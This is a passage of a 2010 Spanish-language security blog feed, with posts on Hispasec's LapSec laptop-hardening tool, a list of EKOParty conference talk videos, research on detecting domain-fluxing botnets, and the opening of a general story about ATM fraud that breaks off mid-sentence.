botón varias &lt;br /&gt;tareas. No está destinado a asegurar &quot;por completo&quot; un sistema, sino que pretende facilitar las modificaciones más importantes para un &quot;bastionado&quot; de ordenador portátil, mucho más susceptible de ser perdido o sustraído. &lt;br /&gt;&lt;br /&gt;Evidentemente, estas medidas también son útiles para un ordenador de sobremesa. También es importante destacar que hay más medidas de seguridad aplicables a un portátil en particular y Windows &lt;br /&gt;en general, pero que no han sido implementadas en LapSec por resultar medidas más &quot;genéricas&quot; que se salen del objetivo del programa: activar funcionalidades de seguridad Windows especialmente útiles para &lt;br /&gt;portátiles. &lt;br /&gt;&lt;br /&gt;El principal objetivo a la hora de asegurar un portátil es: &lt;br /&gt;a) que nadie acceda al sistema operativo (o al sistema de ficheros)&lt;br /&gt;b) que si accede, la información confidencial esté inaccesible ya sea con cifrado o con borrado seguro. &lt;br /&gt;&lt;br /&gt;Con esos objetivos en mente, estas medidas han sido implementadas en el programa: &lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Eliminar el cifrado LM de las contraseñas (en Vista y 7 no es necesario). &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Sobrescribir el archivo de memoria paginada (pagefile.sys) &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Ocultar el nombre del usuario que el Sistema Operativo muestra en la pantalla de presentación &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Activar la protección por contraseña del salvapantallas. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Eliminar la autoejecución de archivos cuando se introducen unidades extraíbles. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Comprobar la existencia de contraseña del usuario. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Comprobar la complejidad de las contraseñas. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Comprueba la activación de la contraseña en la consola de recuperación. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Deshabilitar el almacenamiento de contraseñas en el navegador Internet Explorer. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Deshabilitar la hibernación (hibernation.sys). &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Deshabilitar la cuenta de administrador y de invitado del sistema. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Cifrado de la carpeta Mis Documentos. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Exportación del certificado de forma sencilla para casos de &quot;desastre&quot;. &lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_i-43lFP4TnI/TNwqif61uvI/AAAAAAAAAFI/-Fkc5ODvu14/s1600/LapSecss.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;259&quot; src=&quot;http://2.bp.blogspot.com/_i-43lFP4TnI/TNwqif61uvI/AAAAAAAAAFI/-Fkc5ODvu14/s320/LapSecss.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Además de activar estas funcionalidades propias de Windows, añade un sistema de borrado seguro, accesible a través del menú contextual de los archivos. &lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Puede ser descargado desde&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;a href=&quot;http://www.hispasec.com/lapsec/&quot; target=&quot;_blank&quot;&gt;http://www.hispasec.com/lapsec/&lt;/a&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/6095919400170498920/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/hispasec-presenta-lapsec.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/6095919400170498920'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/6095919400170498920'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/hispasec-presenta-lapsec.html' title='Hispasec presenta &quot;Lapsec&quot;'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_i-43lFP4TnI/TNwqc20QtOI/AAAAAAAAAFE/FOfSecxpOug/s72-c/LapSec.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-7873350269580218739</id><published>2010-11-07T13:51:00.001-03:00</published><updated>2010-11-23T03:13:13.586-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="conferencias"/><category scheme="http://www.blogger.com/atom/ns#" term="ekoparty"/><category scheme="http://www.blogger.com/atom/ns#" term="eventos"/><title type='text'>Todas las charlas de la EKOParty 2010 en video!</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_i-43lFP4TnI/TNbZFMD6OTI/AAAAAAAAAFA/qYYWYP72l10/s1600/Logo-Ekoparty.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;261&quot; src=&quot;http://2.bp.blogspot.com/_i-43lFP4TnI/TNbZFMD6OTI/AAAAAAAAAFA/qYYWYP72l10/s320/Logo-Ekoparty.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Understanding the Win SMB NTLM weak nonce vulnerability&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16490415&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16490415&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Distinguishing Lockpicks: Raking vs Lifting vs Jiggling and More&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16510167&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;WPA Migration Mode: WEP is back to haunt you...&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16524952&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Understanding the Low Fragmentation Heap: From Allocation to Exploitation&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16499830&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16499830&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Web Application Security Payloads&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16531094&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16531094&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Network-based detection of PE structural anomalies and linker characteristics&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16518609&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16518609&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Atacando VoIP....un paraiso&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16520019&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16520019&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;2x1 Microsoft Bugs: &#39;Virtual PC hyper-hole-visor&#39; + &#39;Windows Creation Vulnerability (MS10-048)&#39; &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16513359&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Token Kidnapping&#39;s Revenge&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16502221&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16502221&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Faraday: A tool to share knowledge&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16516987&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16516987&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;SAP Backdoors: A ghost at the heart of your business&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16526106&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16526106&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Historias de 0days, Disclosing y otras yerbas&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16504265&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16504265&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Virtually Pwned: Pentesting VMware&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16508845&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16508845&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Pentesting Driven by FOCA&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16506099&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16506099&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Sandboxing based on SECCOMP for Linux kernel&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16526998&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16526998&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Exploiting Digital Cameras&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16529239&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Wrong Way,.. a Black Hat True Story&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16520777&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16520777&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;iPhone Rootkit? There&#39;s an App for That!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16515479&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16515479&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Hanging on a ROPe&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16530270&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16530270&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Padding Oracles Everywhere&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/15454510&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/15454510&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Transfering files on isolated remote desktop environments&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16528267&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16528267&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Jackpotting Automated Teller Machines&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;225&quot; src=&quot;http://player.vimeo.com/video/16522572&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href=&quot;http://vimeo.com/16522572&quot;&gt;&lt;br /&gt;&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/7873350269580218739/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/todas-las-charlas-de-la-ekoparty-2010.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/7873350269580218739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/7873350269580218739'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/todas-las-charlas-de-la-ekoparty-2010.html' title='Todas las charlas de la EKOParty 2010 en video!'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_i-43lFP4TnI/TNbZFMD6OTI/AAAAAAAAAFA/qYYWYP72l10/s72-c/Logo-Ekoparty.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-493840195053429324</id><published>2010-11-05T14:49:00.003-03:00</published><updated>2010-11-23T03:13:45.571-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bot"/><category scheme="http://www.blogger.com/atom/ns#" term="botnets"/><category scheme="http://www.blogger.com/atom/ns#" term="Conficker"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad informatica"/><title type='text'>Nuevas tecnicas para descubrir botnets sigilosas.</title><content type='html'>Investigadores de seguridad han implementado un nuevo método para descubrir botnets que tratan de esconderse detrás de nombres alternativos de dominio.&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;smalltext&quot;&gt;Supranamaya Ranjan afirma que el y su equipo han&amp;nbsp; para detectar botnets tal como las de Conficker, Kraken y Torping, que utilizan una técnica denominada &lt;i&gt;DNS domain-fluxing&lt;/i&gt;&lt;/span&gt; para su infraestructura C&amp;amp;C (Command &amp;amp; Control).&lt;br /&gt;Domain-fluxing, también conocido como &lt;span class=&quot;smalltext&quot;&gt;&lt;i&gt;domain generation algorithm &lt;/i&gt;(DGA), genera en forma aleatoria nombres de dominio; el bot realiza peticiones a una serie de nombres de dominio, pero el dominio registrado es solo uno. Para llegar al C&amp;amp;C, los investigadores de las botnets generalmente deben realizar ingeniería inversa al malware bot y descubrir cuales son los dominios generados en forma regular. Un proceso que lleva tiempo y recursos en pos de obtener todos los nombres de dominios que van a ser registrados por la botnet, para poder adelantarse y registrarlos y lograr así un pie dentro de la botnet.&lt;br /&gt;&lt;br /&gt;Ranjan dice:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class=&quot;smalltext&quot;&gt;&quot;Botnets such as Kraken, Conficker, and Torpig  came up with domain fast-flux, where even the domain name that each bot  queries for is randomly generated,&lt;br /&gt;Each bot queries for  tens of thousands of domain names hoping that the botnet operator has  registered for at least one of them via DNS. Now consider security  vendors, who in this situation have no way of predicting which DNS  queries are related to a botnet.&quot;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class=&quot;smalltext&quot;&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;Ranjan, desarrollo un método para estudiar en tiempo real el trafico DNS para la actividad de domain-fluxing. Los investigadores presentaron sus descubrimientos en la conferencia &quot;ACM Measurement&quot; en Melbourne.&lt;br /&gt;El método basicamente mira el patrón y distribución de los caracteres alfabéticos en un nombre de dominio para determinar cuales son maliciosos y cuales reales. Esto permite descubrir a los dominios generados &lt;/span&gt;&lt;span class=&quot;short_text&quot; id=&quot;result_box&quot; lang=&quot;es&quot;&gt;&lt;span title=&quot;&quot;&gt;algorítmicamente&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;smalltext&quot;&gt; por la botnet.&lt;br /&gt;&lt;br /&gt;El domain-fluxing dificulta el rastreo de las botnets, haciendo el trabajo mas dificil para los investigadores.&lt;br /&gt;Jose Nazario -Senior security researcher en Arbor Networks- dice:&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;smalltext&quot;&gt; &quot;This [domain-fluxing] is obviously a defensive  headache for us, but for the attacker it exposes possible future rally  points that the good guys can block. &lt;br /&gt;We expect this trend to continue, so the  work [here] makes sense: speed up the identification of these in the  malcode analysis steps or from packet traces, making analysis more  efficient.&quot;  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Conficker-A, por ejemplo, genera unos 250 dominios diferentes cada 3 horas utilizando la fecha actual y el tiempo (UTC). Los creadores del conficker aumentaron la cifra con Conficker-C, generando acerca de 50.000 nombres de dominio por bot, haciendo mas difícil que los investigadores puedan pre-registrarlos&lt;br /&gt;&lt;br /&gt;Este no es el único método para rastrear estas sigilosas botnets. Gunter Ollman, vice presidente de investigación en Damballa, dice que un &lt;a href=&quot;http://www.usenix.org/events/sec10/tech/full_papers/Antonakakis.pdf&quot;&gt;método basado en un sistema de reputación dinámica&lt;/a&gt; desarrollado por investigadores en Georgia Tech funciona bien.&lt;br /&gt;Ollman dice:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class=&quot;smalltext&quot;&gt; &quot;This is probably the most advanced assisted  machine-learning approach to the problem. It doesn&#39;t require  seeing copies of the malware to detect the botnets using domain-fluxing&quot;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class=&quot;smalltext&quot;&gt;&lt;br /&gt;Otra tecnica utilizada por Damballa utiliza el llamado &lt;i&gt;análisis NX Domain.&lt;/i&gt; Ollman dice que es utilizada desde el 2009. Cuando un dominio generado no existe, el TLD name server responde con una respuesta NX, lo cual implica que el dominio no existe.&lt;br /&gt;Ollman dice&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class=&quot;smalltext&quot;&gt;&quot;It&#39;s relatively simple to detect at the network  level the fluxing attempts by the malware to located these dynamically  generated domains, and to also see the number/heuristics of the NX  Domain responses from the DNS servers.&quot;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;smalltext&quot;&gt;&quot;Simple  machine-learning algorithms are trained using known data sets for an  assortment of malware samples, and the system then automatically detects  new, known or suspicious malware infections. The clustering algorithms  automatically identify the malware family.&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/blockquote&gt;Narus&#39; Ranjan dice que el análisis NX Domain esta limitado en que solo puede encontrar anomalías DNS, cuando muchas peticiones DNS retornan mensajes de fallo, por ejemplo, Ranjan dice:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class=&quot;smalltext&quot;&gt;&quot;So they may be used as a first signal for  detecting domain flux. Our methodology goes one step further and we can  distinguish between cases of legitimate queries that are returning  failure responses -- due to network failures -- versus domain flux  queries,&quot;&lt;/span&gt;&lt;/blockquote&gt;El dice que su método difiere del de Georgia Tech en que utiliza estadísticas mas detalladas acerca de los nombres de dominio.&lt;br /&gt;&lt;br /&gt;Algunas botnets utilizan tanto &lt;i&gt;domain fast-flux&lt;/i&gt; como &lt;i&gt;IP fast-flux&lt;/i&gt;. IP fast-flux es un método donde los bots infectados sirven como proxies o host para webs maliciosas y están en constante rotación cambiando sus registros DNS para prevenir ser descubiertas por los investigadores, ISPs, o autoridades policiales. Ranjan dice que su método de detección también funciona para detectar &lt;i&gt;IP fast-flux&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;Mientras probaban este prototipo contra trafico en vivo, los investigadores han descubierto nuevo comportamiento en una botnet que han denominado &quot;Storm2.0&quot;. &lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;es&quot;&gt;&lt;span title=&quot;&quot;&gt;La asignación de nombres de dominio a la dirección de C&amp;amp;C IP del servidor se compone de dos palabras del idioma Inglés. Un comportamiento similar es observado en la original botnet &quot;Storm&quot;, donde los nombres de dominio estaban compuestos de una palabra del idioma Inglés y una cadena generada en forma aleatoria.&lt;br /&gt;&lt;br /&gt;Ranjan dice que las organizaciones necesitan incorporar este tipo de análisis en pos de dar batalla a las botnets.&lt;br /&gt;Ranjan dice:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;smalltext&quot;&gt; &quot;A system such as ours should be the first  alarm that goes off whenever a new domain fast-flux botnet becomes  active. After that an organization can take steps to capture the traffic  corresponding to the IP addresses suspected to harbor such bots and  examine them further to develop signatures. &lt;br /&gt;But not the other  way around, where previously researchers had to scramble to discover  the exact algorithm used by Conficker and only then did they register  all the domain names that Conficker was going to query for.&quot;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Detalles técnicos de la investigación están disponibles &lt;a href=&quot;https://3660604843164671697-a-1802744773732722657-s-sites.googlegroups.com/site/soupsranjan/files/imc104-yadav.pdf&quot;&gt;aquí.&lt;/a&gt;&lt;span class=&quot;&quot; id=&quot;result_box&quot; lang=&quot;es&quot;&gt;&lt;span title=&quot;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Fuente: DarkReading&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/493840195053429324/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/nuevas-tecnicas-para-descubrir-botnets.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/493840195053429324'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/493840195053429324'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/nuevas-tecnicas-para-descubrir-botnets.html' title='Nuevas tecnicas para descubrir botnets sigilosas.'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-9018898869073992398</id><published>2010-11-04T14:22:00.001-03:00</published><updated>2010-11-04T14:22:23.432-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Novedades"/><category scheme="http://www.blogger.com/atom/ns#" term="twitter"/><title type='text'>¡Estrenamos Twitter!</title><content type='html'>A partir de ahora, nos podes seguir en twitter desde &lt;a href=&quot;http://twitter.com/needofsecurity&quot;&gt;http://twitter.com/needofsecurity&lt;/a&gt; y podras enterarte todo desde allí.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://twitter.com/needofsecurity&quot;&gt;&lt;img src=&quot;http://www.twitterbutton.com/images/buttons/button_new19a.png&quot; /&gt;&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/9018898869073992398/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/estrenamos-twitter.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/9018898869073992398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/9018898869073992398'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/estrenamos-twitter.html' title='¡Estrenamos Twitter!'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-9028258449107551194</id><published>2010-11-03T21:33:00.003-03:00</published><updated>2010-11-23T03:21:14.256-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Historias"/><category scheme="http://www.blogger.com/atom/ns#" term="inseguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="Skimming"/><title type='text'>[Historias] El rey de los cajeros.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TNH8_bwFPBI/AAAAAAAAAEs/SYvZtc_VinQ/s1600/a72f03_robocajero.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/_i-43lFP4TnI/TNH8_bwFPBI/AAAAAAAAAEs/SYvZtc_VinQ/s1600/a72f03_robocajero.jpg&quot; /&gt;&lt;span id=&quot;goog_1861297741&quot;&gt;&lt;/span&gt;&lt;span id=&quot;goog_1861297742&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;Los cajeros automáticos suelen ser motivo de atención para una gran variedad de delincuentes, desde simples asaltantes hasta organizaciones mafiosas.&lt;br /&gt;La metodología de robo y estafa puede ser un tanto rustica o un poco mas elaborada. Algunos malvivientes optan por esperar a la salida del cajero a que las victimas terminen de retirar su dinero, otros secuestran personas - a veces con inteligencia mediante para conseguir un objetivo adinerado o simplemente al azar- para obligarlos a retirar dinero del cajero. &lt;br /&gt;Otros, un tanto mas ingeniosos, obstaculizan la salida del dinero con una cinta u barra solida oscura, para que la victima piense que hay algún problema con su cuenta e ingrese al banco a quejarse. En el lapsus de tiempo que el cajero queda vacio mientras la victima se queja, el malviviente ingresa al cajero y destapa la salida del dinero para retirar lo que antes , se creyó, no había salido en primera instancia.&lt;br /&gt;&lt;br /&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;Otros, con mas esfuerzo y un tanto mas de ingenio, implantan cajeros falsos en lugares donde las victimas adineradas abunden. Esquinas de casinos, casas de cambio u de apuestas, estaciones de servicio etc. Lugares donde uno pueda clonar las suficientes tarjetas en el menor tiempo posible.&lt;br /&gt;Los delincuentes optan ya sea por vaciar las cuentas, o bien vender los datos al mejor postor. Otros optan por clonar los datos y venderlos, otros hacen compras por internet, etc.&lt;br /&gt;Estas claves, como verán, pueden terminar en una variedad de destinos bastante extensa, pero su perdida ocasiona para las  victimas una sola consecuencia: La perdida de dinero y tiempo.&lt;br /&gt;&lt;br /&gt;No obstante, algunos deciden dar un paso mas alla e implementar sistemas de robo mas sofisticados. Eso fue lo que hizo 